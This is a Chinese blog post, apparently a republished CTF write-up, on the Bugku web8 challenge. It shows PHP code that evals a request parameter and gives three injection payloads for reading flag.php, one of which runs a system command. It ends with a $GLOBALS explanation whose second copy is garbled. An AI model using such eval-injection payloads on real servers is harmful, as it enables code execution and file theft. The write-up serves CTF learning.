首页 > Web开发 > 详细

ctf_bugku.com_web8>>>>$GLOBALS,如何查看源码,文件包含

时间:2021-01-27 14:40:32      阅读:69      评论:0      收藏:0      [点我收藏+]

ctf地址:https://ctf.bugku.com/challenges/

web8题目:

 <?php
    include "flag.php";
    $a = @$_REQUEST[hello];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

 

看到这这道我先要想到$GLOBALS,全局变量

技术分享图片

 

 

 没想到,flat不在这里,应该在源码里面

方法1:利用file函数查看源码 

hello=file(‘flag.php‘)

技术分享图片

 

 

 

 方法2:show_soure()函数 查看源码

hello=show_source(‘flag.php‘)

技术分享图片

 

方法3:利用系统函数

 

 

 hello=system(‘tac flag.php‘)

技术分享图片

 

 

 

知识点$GLOBALS

$GLOBALS定义:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的,自己可以通过打印$GLOBALS这个变量的结果就知道了。

示例 #1 $GLOBALS 范例

<?php
function test() {
    $foo = "local variable";

    echo $foo in global scope:  . $GLOBALS["foo"] . "\n";
    echo $foo in current scope:  . $foo . "\n";
}

$foo = "Example content";
test();
?>
以上例程的输出类似于:

$foo in global scope: Example content
$foo in current scope: local variable

 

 

 

示例 #1 $GLOBALS 范例

<?php
function test() {
    
$foo "local variable";

    echo 
‘$foo in global scope: ‘ $GLOBALS["foo"] . "\n";
    echo 
‘$foo in current scope: ‘ $foo "\n";
}

$foo "Example content";
test();
?>

以上例程的输出类似于:

$foo in global scope: Example content
$foo in current scope: local variable

ctf_bugku.com_web8>>>>$GLOBALS,如何查看源码,文件包含

原文:https://www.cnblogs.com/trevain/p/14334391.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!